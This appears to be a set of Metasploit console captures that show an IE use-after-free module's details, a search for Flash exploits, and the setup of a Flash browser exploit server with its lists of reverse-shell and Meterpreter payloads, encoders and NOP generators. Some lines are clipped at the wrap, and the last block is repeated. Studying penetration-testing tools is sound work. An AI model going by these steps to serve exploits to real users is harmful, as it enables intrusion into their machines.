```
msf exploit(ie_execcommand_uaf) > info

       Name: MS12-063 Microsoft Internet Explorer execCommand Use-After-Free
ulnerability
     Module: exploit/windows/browser/ie_execcommand_uaf
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-09-14

Provided by:
  unknown
  eromang
  binjo
  sinn3r <sinn3r@metasploit.com>
  juan vazquez <juan.vazquez@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   IE 7 on Windows XP SP3
  2   IE 8 on Windows XP SP3
  3   IE 7 on Windows Vista
  4   IE 8 on Windows Vista
  5   IE 8 on Windows 7
  6   IE 9 on Windows 7

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  OBFUSCATE  false            no        Enable JavaScript obfuscation
  SRVHOST    0.0.0.0          yes       The local host to listen on. This mus
 be an address on the local machine or 0.0.0.0
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connection
  SSLCert                     no        Path to a custom SSL certificate (def
ult is randomly generated)
  URIPATH                     no        The URI to use for this exploit (defa
lt is random)

Payload information:

Description:
  This module exploits a vulnerability found in Microsoft Internet
  Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object
  gets deleted in an unexpected manner, but the same memory is reused
  again later in the CMshtmlEd::Exec() function, leading to a
  use-after-free condition. Please note that this vulnerability has
```

```
msf > search flash

Matching Modules
================

   Name                                                  Disclosure Date  Rank       Description
   ----                                                  ---------------  ----       -----------
   auxiliary/gather/flash_rosetta_jsonp_url_disclosure   2014-07-08       normal     Flash "Rosetta" JSONP GET/POST Response Disclosure
   auxiliary/server/browser_autopwn2                     2015-07-05       normal     HTTP Client Automatic Exploiter 2 (Browser Autopwn)
   exploit/linux/browser/adobe_flashplayer_aslaunch      2008-12-17       good       Adobe Flash Player ActionScript Launch Command Execution Vulnerability
   exploit/multi/browser/adobe_flash_hacking_team_uaf    2015-07-06       great      Adobe Flash Player ByteArray Use After Free
   exploit/multi/browser/adobe_flash_nellymoser_bof      2015-06-23       great      Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow
   exploit/multi/browser/adobe_flash_net_connection_confusion  2015-03-12       great      Adobe Flash Player NetConnection Type Confusion
   exploit/multi/browser/adobe_flash_opaque_background_uaf  2015-07-06       great      Adobe Flash opaqueBackground Use After Free
   exploit/multi/browser/adobe_flash_pixel_bender_bof    2014-04-28       great      Adobe Flash Player Shader Buffer Overflow
   exploit/multi/browser/adobe_flash_shader_drawing_fill  2015-05-12       great      Adobe Flash Player Drawing Fill Shader Memory Corruption
   exploit/multi/browser/adobe_flash_shader_job_overflow  2015-05-12       great      Adobe Flash Player ShaderJob Buffer Overflow
   exploit/multi/browser/adobe_flash_uncompress_zlib_uaf  2014-04-28       great      Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free
   exploit/multi/browser/firefox_svg_plugin              2013-01-08       excellent  Firefox 17.0.1 Flash Privileged Code Injection
   exploit/unix/webapp/flashchat_upload_exec             2013-10-04       excellent  FlashChat Arbitrary File Upload
   exploit/unix/webapp/open_flash_chart_upload_exec      2009-12-14       great      Open Flash Chart v2 Arbitrary File Upload
   exploit/unix/webapp/openemr_upload_exec               2013-02-13       excellent  OpenEMR PHP File Upload Vulnerability
   exploit/windows/browser/adobe_flash_avm2              2014-02-05       normal     Adobe Flash Player Integer Underflow Remote Code Execution
   exploit/windows/browser/adobe_flash_casi32_int_overflow  2014-10-14       great      Adobe Flash Player casi32 Integer Overflow
   exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array  2014-09-23       great      Adobe Flash Player copyPixelsToByteArray Method Integer Overflow
   exploit/windows/browser/adobe_flash_domain_memory_uaf  2014-04-14       great      Adobe Flash Player domainMemory ByteArray Use After Free
   exploit/windows/browser/adobe_flash_filters_type_confusion  2013-12-10       normal     Adobe Flash Player Type Confusion Remote Code Execution
   exploit/windows/browser/adobe_flash_mp4_cprt          2012-02-15       normal     Adobe Flash Player MP4 'cprt' Overflow
   exploit/windows/browser/adobe_flash_otf_font          2012-08-09       normal     Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow
   exploit/windows/browser/adobe_flash_pcre              2014-11-25       normal     Adobe Flash Player PCRE Regex Vulnerability
   exploit/windows/browser/adobe_flash_regex_value       2013-02-08       normal     Adobe Flash Player Regular Expression Heap Overflow
   exploit/windows/browser/adobe_flash_rtmp              2012-05-04       normal     Adobe Flash Player Object Type Confusion
   exploit/windows/browser/adobe_flash_sps               2011-08-09       normal     Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow
   exploit/windows/browser/adobe_flash_uncompress_zlib_uninitialized  2014-11-11       good       Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory
   exploit/windows/browser/adobe_flash_worker_byte_array_uaf  2015-02-02       great      Adobe Flash Player ByteArray With Workers Use After Free
   exploit/windows/browser/adobe_flashplayer_arrayindexing  2012-06-21       great      Adobe Flash Player AVM Verification Logic Array Indexing Code Execution
   exploit/windows/browser/adobe_flashplayer_avm         2011-03-15       good       Adobe Flash Player AVM Bytecode Verification Vulnerability
   exploit/windows/browser/adobe_flashplayer_flash10o    2011-04-11       normal     Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability
   exploit/windows/browser/adobe_flashplayer_newfunction  2010-06-04       normal     Adobe Flash Player "newfunction" Invalid Pointer Use
   exploit/windows/browser/ms14_012_cmarkup_uaf          2014-02-13       normal     MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free
   exploit/windows/fileformat/adobe_flashplayer_button   2010-10-28       normal     Adobe Flash Player "Button" Remote Code Execution
   exploit/windows/fileformat/adobe_flashplayer_newfunction  2010-06-04       normal     Adobe Flash Player "newfunction" Invalid Pointer Use
   exploit/windows/http/oracle_btm_writetofile           2012-08-07       excellent  Oracle Business Transaction Management FlashTunnelService Remote Code Execution
   payload/firefox/exec                                                   normal     Firefox XPCOM Execute Command
   post/osx/gather/enum_keychain                                          normal     OS X Gather Keychain Enumeration
   post/windows/gather/credentials/flashfxp                               normal     Windows Gather FlashFXP Saved Password Extraction
```

```
Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                  ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/browser/adobe_flash_shader_drawing_fill
msf exploit(adobe_flash_shader_drawing_fill) > show options

Module options (exploit/multi/browser/adobe_flash_shader_drawing_fill):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Retries  true             no        Allow the browser to retry the module
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Windows
```

```
msf exploit(adobe_flash_shader_drawing_fill) > set srvhost 192.168.0.100
srvhost => 192.168.0.100
msf exploit(adobe_flash_shader_drawing_fill) > set srvport 80
srvport => 80
msf exploit(adobe_flash_shader_drawing_fill) > show options

Module options (exploit/multi/browser/adobe_flash_shader_drawing_fill):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Retries  true             no        Allow the browser to retry the module
   SRVHOST  192.168.0.100    yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  80               yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (linux/x86/exec):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD                    yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   1   Linux
```

```
msf exploit(adobe_flash_shader_drawing_fill) > show payloads

Compatible Payloads
===================

   Name                                                Disclosure Date  Rank    Description
   ----                                                ---------------  ----    -----------
   generic/custom                                                       normal  Custom Payload
   generic/debug_trap                                                   normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                                               normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                                            normal  Generic Command Shell, Reverse TCP Inline
   generic/tight_loop                                                   normal  Generic x86 Tight Loop
   windows/dllinject/bind_hidden_ipknock_tcp                            normal  Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   windows/dllinject/bind_hidden_tcp                                    normal  Reflective DLL Injection, Hidden Bind TCP Stager
   windows/dllinject/bind_ipv6_tcp                                      normal  Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   windows/dllinject/bind_ipv6_tcp_uuid                                 normal  Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   windows/dllinject/bind_nonx_tcp                                      normal  Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   windows/dllinject/bind_tcp                                           normal  Reflective DLL Injection, Bind TCP Stager (Windows x86)
   windows/dllinject/bind_tcp_rc4                                       normal  Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption)
   windows/dllinject/bind_tcp_uuid                                      normal  Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   windows/dllinject/reverse_hop_http                                   normal  Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   windows/dllinject/reverse_http                                       normal  Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   windows/dllinject/reverse_http_proxy_pstore                          normal  Reflective DLL Injection, Reverse HTTP Stager Proxy
   windows/dllinject/reverse_ipv6_tcp                                   normal  Reflective DLL Injection, Reverse TCP Stager (IPv6)
   windows/dllinject/reverse_nonx_tcp                                   normal  Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   windows/dllinject/reverse_ord_tcp                                    normal  Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   windows/dllinject/reverse_tcp                                        normal  Reflective DLL Injection, Reverse TCP Stager
   windows/dllinject/reverse_tcp_allports                               normal  Reflective DLL Injection, Reverse All-Port TCP Stager
   windows/dllinject/reverse_tcp_dns                                    normal  Reflective DLL Injection, Reverse TCP Stager (DNS)
   windows/dllinject/reverse_tcp_rc4                                    normal  Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption)
   windows/dllinject/reverse_tcp_rc4_dns                                normal  Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS)
   windows/dllinject/reverse_tcp_uuid                                   normal  Reflective DLL Injection, Reverse TCP Stager with UUID Support
   windows/dllinject/reverse_winhttp                                    normal  Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   windows/dns_txt_query_exec                                           normal  DNS TXT Record Payload Download and Execution
   windows/download_exec                                                normal  Windows Executable Download (http,https,ftp) and Execute
   windows/exec                                                         normal  Windows Execute Command
   windows/loadlibrary                                                  normal  Windows LoadLibrary Path
   windows/messagebox                                                   normal  Windows MessageBox
   windows/meterpreter/bind_hidden_ipknock_tcp                          normal  Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   windows/meterpreter/bind_hidden_tcp                                  normal  Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   windows/meterpreter/bind_ipv6_tcp                                    normal  Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   windows/meterpreter/bind_ipv6_tcp_uuid                               normal  Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   windows/meterpreter/bind_nonx_tcp                                    normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   windows/meterpreter/bind_tcp                                         normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   windows/meterpreter/bind_tcp_rc4                                     normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption)
   windows/meterpreter/bind_tcp_uuid                                    normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
```

```
msf exploit(adobe_flash_shader_drawing_fill) > set target 1
target => 1
msf exploit(adobe_flash_shader_drawing_fill) > show payloads

Compatible Payloads
===================

   Name                                        Disclosure Date  Rank    Description
   ----                                        ---------------  ----    -----------
   generic/custom                                               normal  Custom Payload
   generic/debug_trap                                           normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                                       normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                                    normal  Generic Command Shell, Reverse TCP Inline
   generic/tight_loop                                           normal  Generic x86 Tight Loop
   linux/x86/chmod                                              normal  Linux Chmod
   linux/x86/exec                                               normal  Linux Execute Command
   linux/x86/meterpreter/bind_ipv6_tcp                          normal  Linux Meterpreter, Bind IPv6 TCP Stager (Linux x86)
   linux/x86/meterpreter/bind_ipv6_tcp_uuid                     normal  Linux Meterpreter, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   linux/x86/meterpreter/bind_nonx_tcp                          normal  Linux Meterpreter, Bind TCP Stager
   linux/x86/meterpreter/bind_tcp                               normal  Linux Meterpreter, Bind TCP Stager (Linux x86)
   linux/x86/meterpreter/bind_tcp_uuid                          normal  Linux Meterpreter, Bind TCP Stager with UUID Support (Linux x86)
   linux/x86/meterpreter/reverse_ipv6_tcp                       normal  Linux Meterpreter, Reverse TCP Stager (IPv6)
   linux/x86/meterpreter/reverse_nonx_tcp                       normal  Linux Meterpreter, Reverse TCP Stager
   linux/x86/meterpreter/reverse_tcp                            normal  Linux Meterpreter, Reverse TCP Stager
   linux/x86/meterpreter/reverse_tcp_uuid                       normal  Linux Meterpreter, Reverse TCP Stager
   linux/x86/metsvc_bind_tcp                                    normal  Linux Meterpreter Service, Bind TCP
   linux/x86/metsvc_reverse_tcp                                 normal  Linux Meterpreter Service, Reverse TCP Inline
   linux/x86/read_file                                          normal  Linux Read File
   linux/x86/shell/bind_ipv6_tcp                                normal  Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   linux/x86/shell/bind_ipv6_tcp_uuid                           normal  Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   linux/x86/shell/bind_nonx_tcp                                normal  Linux Command Shell, Bind TCP Stager
   linux/x86/shell/bind_tcp                                     normal  Linux Command Shell, Bind TCP Stager (Linux x86)
   linux/x86/shell/bind_tcp_uuid                                normal  Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   linux/x86/shell/reverse_ipv6_tcp                             normal  Linux Command Shell, Reverse TCP Stager (IPv6)
   linux/x86/shell/reverse_nonx_tcp                             normal  Linux Command Shell, Reverse TCP Stager
   linux/x86/shell/reverse_tcp                                  normal  Linux Command Shell, Reverse TCP Stager
   linux/x86/shell/reverse_tcp_uuid                             normal  Linux Command Shell, Reverse TCP Stager
   linux/x86/shell_bind_ipv6_tcp                                normal  Linux Command Shell, Bind TCP Inline (IPv6)
   linux/x86/shell_bind_tcp                                     normal  Linux Command Shell, Bind TCP Inline
   linux/x86/shell_bind_tcp_random_port                         normal  Linux Command Shell, Bind TCP Random Port Inline
   linux/x86/shell_reverse_tcp                                  normal  Linux Command Shell, Reverse TCP Inline
   linux/x86/shell_reverse_tcp2                                 normal  Linux Command Shell, Reverse TCP Inline - Metasm Demo
```

```
msf exploit(adobe_flash_shader_drawing_fill) > show advanced

Module advanced options (exploit/multi/browser/adobe_flash_shader_drawing_fill):

   Name           : ContextInformationFile
   Current Setting:
   Description    : The information file that contains context information

   Name           : CookieExpiration
   Current Setting:
   Description    : Cookie expiration in years (blank=expire on exit)

   Name           : CookieName
   Current Setting: __ua
   Description    : The name of the tracking cookie

   Name           : Custom404
   Current Setting:
   Description    : An external custom 404 URL (Example:
      http://example.com/404.html)

   Name           : DisablePayloadHandler
   Current Setting: false
   Description    : Disable the handler code for the selected payload

   Name           : EnableContextEncoding
   Current Setting: false
   Description    : Use transient context when encoding payloads

   Name           : JsObfuscate
   Current Setting: 0
   Description    : Number of times to obfuscate JavaScript

   Name           : ListenerComm
   Current Setting:
   Description    : The specific communication channel to use for this service
```

```
msf exploit(adobe_flash_shader_drawing_fill) > show encoders

Compatible Encoders
===================

   Name                          Disclosure Date  Rank       Description
   ----                          ---------------  ----       -----------
   generic/eicar                                  manual     The EICAR Encoder
   generic/none                                   normal     The "none" Encoder
   x86/add_sub                                    manual     Add/Sub Encoder
   x86/alpha_mixed                                low        Alpha2 Alphanumeric Mixedcase Encoder
   x86/alpha_upper                                low        Alpha2 Alphanumeric Uppercase Encoder
   x86/avoid_underscore_tolower                   manual     Avoid underscore/tolower
   x86/avoid_utf8_tolower                         manual     Avoid UTF8/tolower
   x86/bloxor                                     manual     BloXor - A Metamorphic Block Based XOR Encoder
   x86/call4_dword_xor                            normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                              manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                               manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                               manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                                  normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                                normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                          normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                                   low        Non-Alpha Encoder
   x86/nonupper                                   low        Non-Upper Encoder
   x86/opt_sub                                    manual     Sub Encoder (optimised)
   x86/shikata_ga_nai                             excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                          manual     Single Static Bit
   x86/unicode_mixed                              manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                              manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
```

```
msf exploit(adobe_flash_shader_drawing_fill) > show nops

NOP Generators
==============

   Name              Disclosure Date  Rank    Description
   ----              ---------------  ----    -----------
   armle/simple                       normal  Simple
   php/generic                        normal  PHP Nop Generator
   ppc/simple                         normal  Simple
   sparc/random                       normal  SPARC NOP Generator
   tty/generic                        normal  TTY Nop Generator
   x64/simple                         normal  Simple
   x86/opty2                          normal  Opty2
   x86/single_byte                    normal  Single Byte
```

```
msf exploit(adobe_flash_shader_drawing_fill) > show nops

NOP Generators
==============

   Name              Disclosure Date  Rank    Description
   ----              ---------------  ----    -----------
   armle/simple                       normal  Simple
   php/generic                        normal  PHP Nop Generator
   ppc/simple                         normal  Simple
   sparc/random                       normal  SPARC NOP Generator
   tty/generic                        normal  TTY Nop Generator
   x64/simple                         normal  Simple
   x86/opty2                          normal  Opty2
   x86/single_byte                    normal  Single Byte
```